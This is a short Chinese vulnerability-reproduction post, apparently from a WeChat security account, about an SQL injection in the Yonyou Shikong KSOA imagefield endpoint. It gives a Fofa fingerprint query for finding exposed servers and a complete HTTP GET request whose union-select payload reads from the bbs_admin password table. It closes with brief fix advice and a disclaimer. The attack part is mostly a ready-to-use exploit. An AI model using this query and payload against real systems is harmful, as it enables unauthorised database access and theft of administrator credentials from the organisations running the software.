漏洞描述
用友 时空KSOA imagefield 接口存在一个 SQL 注入漏洞，通过这个漏洞可以操纵服务器的数据库。这意味着不法分子可以利用这个漏洞来获取对数据库的完全控制权，从而查看、修改甚至删除数据库中的数据，严重威胁系统的安全性。
网络空间测绘
Fofa
app="用友-时空KSOA"
漏洞复现
GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1
Host:
Accept-Encoding: gzip, deflate, br
Connection: close
修复建议
为了确保系统安全，建议你采取以下措施：首先，除非特别需要，尽量不要让系统连上互联网，以减少被黑客攻击的风险。其次，通过防火墙等安全设备设定访问规则，只允许经过批准的设备访问系统，这样可以有效控制谁能进入系统。最后，务必将产品更新到最新版本，以及时修复已知的安全漏洞，保持系统的安全性。
原文始发于微信公众号（凝聚力安全团队）：【漏洞复现】用友 时空KSOA imagefield SQL注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论